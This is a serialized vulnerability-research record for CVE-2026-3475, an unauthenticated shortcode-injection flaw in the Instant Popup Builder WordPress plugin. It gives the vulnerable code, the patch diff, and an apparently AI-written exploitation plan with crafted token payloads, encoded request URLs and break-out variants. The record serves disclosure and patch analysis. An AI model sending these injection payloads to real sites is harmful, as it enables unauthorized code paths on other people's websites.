[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fisVegYdfub-MytiW57cw4R9RKr21uhuqG9Fbznm67Ys":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-3475","instant-popup-builder-unauthenticated-arbitrary-shortcode-execution-via-token-parameter","Instant Popup Builder \u003C= 1.1.7 - Unauthenticated Arbitrary Shortcode Execution via 'token' Parameter","The Instant Popup Builder plugin for WordPress is vulnerable to Unauthenticated Arbitrary Shortcode Execution in all versions up to and including 1.1.7. This is due to the handle_email_verification_page() function constructing a shortcode string from user-supplied GET parameters (token, email) and passing it to do_shortcode() without properly sanitizing square bracket characters, combined with missing authorization checks on the init hook. While sanitize_text_field() and esc_attr() are applied, neither function strips or escapes square bracket characters ([ and ]). WordPress's shortcode regex uses [^\\]\\\u002F]* to match content inside shortcode tags, meaning a ] character in the token value prematurely closes the shortcode tag. This makes it possible for unauthenticated attackers to inject and execute arbitrary registered shortcodes by crafting a malicious token parameter containing ] followed by arbitrary shortcode syntax.","instant-popup-builder",null,"\u003C=1.1.7","1.1.8","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-03-18 19:02:53","2026-03-19 07:34:56",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F979962e3-9052-4dc9-94d0-3ec8de3d5460?source=api-prod",1,[22,23,24,25,26,27],"README.txt","admin\u002Fclass-instant-popup-builder-admin.php","admin\u002Fclasses\u002Fclass-instant-popup-builder-admin-request.php","includes\u002Fclass-instant-popup-builder.php","instant-popup-builder.php","public\u002Fclass-instant-popup-subscription-public.php","researched",false,3,"This plan outlines the research and exploitation strategy for **CVE-2026-3475**, a vulnerability in the Instant Popup Builder plugin allowing unauthenticated users to execute arbitrary shortcodes.\n\n---\n\n### 1. Vulnerability Summary\nThe vulnerability exists in the `Instant_Popup_Subscription_Public::handle_email_verification_page()` function, which is hooked to WordPress's `init` action. This function takes user-supplied input from the `token` and `email` GET parameters to dynamically build a shortcode string.\n\nThe constructed string follows a pattern similar to: `[ipb_verify_email token=\"VALUE_FROM_TOKEN\" email=\"VALUE_FROM_EMAIL\"]`. This string is then passed to `do_shortcode()`. \n\nBecause `sanitize_text_field()` and `esc_attr()` are used but neither strips the `]` character, an attacker can break out of the intended shortcode's attributes and inject a new shortcode. The WordPress shortcode parser stops matching an attribute value when it encounters the first `]` character.\n\n### 2. Attack Vector Analysis\n- **Endpoint:** Any frontend URL (e.g., `\u002F` or `\u002Findex.php`).\n- **Hook:** `init` (registered in `public\u002Fclass-instant-popup-subscription-public.php`).\n- **Vulnerable Function:** `handle_email_verification_page()`.\n- **Payload Parameters:** `token` and `email`.\n- **Authentication:** None (Unauthenticated).\n- **Preconditions:** The plugin must be active and the \"Subscription\" functionality initialized (default in most installs).\n\n### 3. Code Flow\n1. **Request Entry:** A GET request is sent to the WordPress site.\n2. **Hook Trigger:** The `init` hook fires, calling `Instant_Popup_Subscription_Public::handle_email_verification_page()`.\n3. **Parameter Check:** The function checks if `token` and `email` are present in `$_GET`.\n4. **Shortcode Construction:**\n   ```php\n   \u002F\u002F Logical reconstruction based on vulnerability description\n   $token = sanitize_text_field($_GET['token']);\n   $email = sanitize_text_field($_GET['email']);\n   $shortcode = '[ipb_verify_email token=\"' . $token . '\" email=\"' . $email . '\"]';\n   ```\n5. **Injection point:** If `token` is `123\"][gallery][\"`, the string becomes:\n   `[ipb_verify_email token=\"123\"][gallery][\" email=\"...\"]`\n6. **Execution Sink:** `echo do_shortcode($shortcode);`\n   WordPress parses this as two shortcodes: `[ipb_verify_email token=\"123\"]` followed by `[gallery]`.\n\n### 4. Nonce Acquisition Strategy\nBased on the vulnerability description and the nature of \"Email Verification\" pages, this specific endpoint **does not require a nonce**. Verification links are typically sent via external emails and must work for users who are not currently in an active session on the site.\n\nHowever, if an unexpected check exists, the following strategy will be used:\n1. **Identify Script Variable:** The plugin localizes script data under the key `instnat_ajax_subscriber` (verbatim from `public\u002Fclass-instant-popup-subscription-public.php`).\n2. **Create Trigger Page:** Create a page with the subscription shortcode to ensure the plugin's public JS is loaded.\n   `wp post create --post_type=page --post_status=publish --post_content='[ipb_subscription]'`\n3. **Browser Extraction:**\n   Navigate to the created page and run:\n   `browser_eval(\"window.instnat_ajax_subscriber?.verification_nonce\")`\n\n### 5. Exploitation Strategy\nWe will use a standard WordPress shortcode that produces visible output to prove execution.\n\n**Step 1: Test Connectivity**\nSend a basic request to ensure the `handle_email_verification_page` logic triggers.\n- **URL:** `\u002F?token=test&email=test@example.com`\n- **Tool:** `http_request`\n\n**Step 2: Inject Shortcode**\nCraft a payload that closes the `token` attribute and injects a `[wp_version]` or `[gallery]` shortcode.\n- **Payload:** `token=pwned\"][gallery][&email=attacker@example.com`\n- **Encoded Payload:** `token=pwned%22%5D%5Bgallery%5D%5B&email=attacker%40example.com`\n\n**Step 3: Execute via http_request**\n```json\n{\n  \"method\": \"GET\",\n  \"url\": \"http:\u002F\u002Flocalhost:8080\u002F?token=pwned%22%5D%5Bgallery%5D%5B&email=attacker%40example.com\"\n}\n```\n\n### 6. Test Data Setup\n1. **Install Plugin:** Ensure `instant-popup-builder` version 1.1.7 is active.\n2. **No Auth Required:** Ensure the test is performed in an unauthenticated session (clear cookies\u002Fuse fresh browser context).\n3. **Verify Registered Shortcodes:** Use `wp eval \"global \\$shortcode_tags; print_r(array_keys(\\$shortcode_tags));\"` to confirm `ipb_verify_email` and `gallery` are registered.\n\n### 7. Expected Results\n- **Success:** The HTTP response body contains the HTML output of the injected shortcode (e.g., a gallery container `\u003Cdiv id='gallery-1' ...>` or the WordPress version number).\n- **Execution Evidence:** The original `ipb_verify_email` shortcode might fail silently or print a \"verification failed\" message, but the **appended** shortcode output will be present in the HTML.\n\n### 8. Verification Steps\n1. **Log Check:** Observe the site's HTML output for the presence of the injected shortcode's footprint.\n2. **WP-CLI Version Check:** `wp plugin get instant-popup-builder --field=version` (Ensure it is 1.1.7).\n3. **Manual Trace:** Confirm that sending the malicious `token` results in the server returning content that is not part of the standard verification form.\n\n### 9. Alternative Approaches\nIf `[gallery]` is disabled or filtered:\n- **Try Plugin Shortcodes:** Use `[ipb_subscription]` to see if the subscription popup HTML is rendered into the page response.\n- **Try `[audio]` or `[video]`:** These are standard and usually produce distinct HTML elements.\n- **Attribute Break-out Variations:**\n  - `token=1' ][gallery][` (using single quotes if the plugin uses single quotes in the backend).\n  - `token=1] [gallery] [` (if the plugin doesn't wrap values in quotes at all).","The Instant Popup Builder plugin for WordPress is vulnerable to unauthenticated arbitrary shortcode execution. This occurs because the plugin dynamically constructs shortcode strings from user-supplied GET parameters (token, email, campaign) and passes them to do_shortcode() without removing square bracket characters, allowing attackers to 'break out' of the intended shortcode and execute any registered shortcode on the site.","\u002F\u002F public\u002Fclass-instant-popup-subscription-public.php L1263\r\n\t\t\t\u002F\u002F Add content filter to show unsubscribe form\r\n\t\t\tadd_filter('the_content', function($content) {\r\n\t\t\t\t\u002F\u002F Always show unsubscribe form for unsubscribe requests\r\n\t\t\t\t\u002F\u002F Check for encrypted email parameter\r\n\t\t\t\t\u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized\r\n\t\t\t\t$encrypted_email = isset($_GET['email']) ? sanitize_text_field(wp_unslash($_GET['email'])) : '';\r\n\t\t\t\t\u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized\r\n\t\t\t\t$campaign_id = isset($_GET['campaign']) ? sanitize_text_field(wp_unslash($_GET['campaign'])) : '';\r\n\r\n\t\t\t\t$shortcode = '[ipb_unsubscribe';\r\n\t\t\t\tif (!empty($encrypted_email)) {\r\n\t\t\t\t\t$shortcode .= ' email=\"' . esc_attr($encrypted_email) . '\"';\r\n\t\t\t\t}\r\n\t\t\t\tif (!empty($campaign_id)) {\r\n\t\t\t\t\t$shortcode .= ' campaign=\"' . esc_attr($campaign_id) . '\"';\r\n\t\t\t}\r\n\t\t\t$shortcode .= ']';\r\n\r\n\t\t\treturn do_shortcode( (string) ( $shortcode ?? '' ) );\r\n\t\t});\r\n\r\n---\r\n\r\n\u002F\u002F public\u002Fclass-instant-popup-subscription-public.php L1755\r\n\t\t\t\t\u002F\u002F Add content filter to show verification form\r\n\t\t\t\tadd_filter('the_content', function($content) {\r\n\t\t\t\t\tif (is_page() || is_single()) {\r\n\t\t\t\t\t\t\u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized\r\n\t\t\t\t\t\t$email = isset($_GET['email']) ? sanitize_email(wp_unslash($_GET['email'])) : '';\r\n\t\t\t\t\t\t\u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized\r\n\t\t\t\t\t\t$token = isset($_GET['token']) ? sanitize_text_field(wp_unslash($_GET['token'])) : '';\r\n\r\n\t\t\t\t\t\t$shortcode = '[ipb_verify_email';\r\n\t\t\t\t\t\tif (!empty($email)) {\r\n\t\t\t\t\t\t\t$shortcode .= ' email=\"' . esc_attr($email) . '\"';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif (!empty($token)) {\r\n\t\t\t\t\t\t\t$shortcode .= ' token=\"' . esc_attr($token) . '\"';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t$shortcode .= ']';\r\n\r\n\t\t\t\t\treturn do_shortcode( (string) ( $shortcode ?? '' ) );\r\n\t\t\t\t\t}\r\n\t\t\t\t\treturn $content;\r\n\t\t\t\t});","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finstant-popup-builder\u002F1.1.7\u002Fpublic\u002Fclass-instant-popup-subscription-public.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finstant-popup-builder\u002F1.1.8\u002Fpublic\u002Fclass-instant-popup-subscription-public.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finstant-popup-builder\u002F1.1.7\u002Fpublic\u002Fclass-instant-popup-subscription-public.php\t2026-02-26 16:58:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finstant-popup-builder\u002F1.1.8\u002Fpublic\u002Fclass-instant-popup-subscription-public.php\t2026-03-08 09:05:08.000000000 +0000\n@@ -1263,23 +1270,11 @@\n \t\t\t\u002F\u002F Add content filter to show unsubscribe form\n \t\t\tadd_filter('the_content', function($content) {\n \t\t\t\t\u002F\u002F Always show unsubscribe form for unsubscribe requests\n-\t\t\t\t\u002F\u002F Check for encrypted email parameter\n-\t\t\t\t\u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized\n-\t\t\t\t$encrypted_email = isset($_GET['email']) ? sanitize_text_field(wp_unslash($_GET['email'])) : '';\n-\t\t\t\t\u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized\n-\t\t\t\t$campaign_id = isset($_GET['campaign']) ? sanitize_text_field(wp_unslash($_GET['campaign'])) : '';\n-\n-\t\t\t\t$shortcode = '[ipb_unsubscribe';\n-\t\t\t\tif (!empty($encrypted_email)) {\n-\t\t\t\t\t$shortcode .= ' email=\"' . esc_attr($encrypted_email) . '\"';\n-\t\t\t\t}\n-\t\t\t\tif (!empty($campaign_id)) {\n-\t\t\t\t\t$shortcode .= ' campaign=\"' . esc_attr($campaign_id) . '\"';\n-\t\t\t}\n-\t\t\t$shortcode .= ']';\n+\t\t\t\t$request_args = $this->get_sanitized_unsubscribe_request_params();\n \n-\t\t\treturn do_shortcode( (string) ( $shortcode ?? '' ) );\n-\t\t});\n+\t\t\t\t\u002F\u002F Security: never pass request-derived data through do_shortcode().\n+\t\t\t\treturn $this->render_unsubscribe_form_from_request($request_args);\n+\t\t\t});\n \n \t\t\u002F\u002F Also add a template redirect for direct URL access\n \t\tadd_action('template_redirect', function() {\n@@ -1755,24 +1740,139 @@\n \t\t\t\t\u002F\u002F Add content filter to show verification form\n \t\t\t\tadd_filter('the_content', function($content) {\n \t\t\t\t\tif (is_page() || is_single()) {\n-\t\t\t\t\t\t\u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized\n-\t\t\t\t\t\t$email = isset($_GET['email']) ? sanitize_email(wp_unslash($_GET['email'])) : '';\n-\t\t\t\t\t\t\u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized\n-\t\t\t\t\t\t$token = isset($_GET['token']) ? sanitize_text_field(wp_unslash($_GET['token'])) : '';\n-\n-\t\t\t\t\t\t$shortcode = '[ipb_verify_email';\n-\t\t\t\t\t\tif (!empty($email)) {\n-\t\t\t\t\t\t\t$shortcode .= ' email=\"' . esc_attr($email) . '\"';\n-\t\t\t\t\t\t}\n-\t\t\t\t\t\tif (!empty($token)) {\n-\t\t\t\t\t\t\t$shortcode .= ' token=\"' . esc_attr($token) . '\"';\n+\t\t\t\t\t\t$request_args = $this->get_sanitized_verification_request_params();\n+\n+\t\t\t\t\t\t\u002F\u002F Security: never build shortcode strings from request-derived values.\n+\t\t\t\t\t\treturn $this->render_verification_form_from_request($request_args);\n \t\t\t\t\t}\n-\t\t\t\t\t$shortcode .= ']';\n-\n-\t\t\t\t\treturn do_shortcode( (string) ( $shortcode ?? '' ) );\n+\t\t\t\t\treturn $content;\n \t\t\t\t});\n \t\t\t}\n \t\t}\n+\n+\t\t\u002F**\n+\t\t * Build a safe array of verification request params.\n+\t\t *\n+\t\t * @return array{email: string, token: string}\n+\t\t *\u002F\n+\t\tprivate function get_sanitized_verification_request_params()\n+\t\t{\n+\t\t\t\u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized\n+\t\t\t$email = isset($_GET['email']) ? sanitize_email(wp_unslash($_GET['email'])) : '';\n+\t\t\t\u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized\n+\t\t\t$token = isset($_GET['token']) ? sanitize_text_field(wp_unslash($_GET['token'])) : '';\n+\n+\t\t\t$email = str_replace(['[', ']'], '', $email);\n+\t\t\t$token = str_replace(['[', ']'], '', $token);\n+\n+\t\t\tif ($token !== '' && !preg_match('\u002F^[A-Za-z0-9\\-_]{10,200}$\u002F', $token)) {\n+\t\t\t\t$token = '';\n+\t\t\t}\n+\n+\t\t\treturn [\n+\t\t\t\t'email' => $email,\n+\t\t\t\t'token' => $token,\n+\t\t\t];\n+\t\t}","The exploit targets unauthenticated endpoints that handle email verification or unsubscription. An attacker sends a GET request to any public WordPress page (e.g., the homepage) with the parameter `verify-email=true`. By crafting the `token` parameter to contain shortcode closure and injection syntax (e.g., `token=xyz\"][gallery][\"`), the attacker forces the plugin's `handle_email_verification_page` function to construct a string like `[ipb_verify_email email=\"...\" token=\"xyz\"][gallery][\" \"]`. When this string is passed to `do_shortcode()`, the WordPress shortcode parser executes the injected `[gallery]` shortcode (or any other shortcode) and renders its output into the page content. No authentication or nonces are required.","gemini-3-flash-preview","2026-04-18 02:23:13","2026-04-18 02:23:42",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","1.1.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finstant-popup-builder\u002Ftags\u002F1.1.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Finstant-popup-builder.1.1.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finstant-popup-builder\u002Ftags\u002F1.1.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Finstant-popup-builder.1.1.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finstant-popup-builder\u002Ftags"]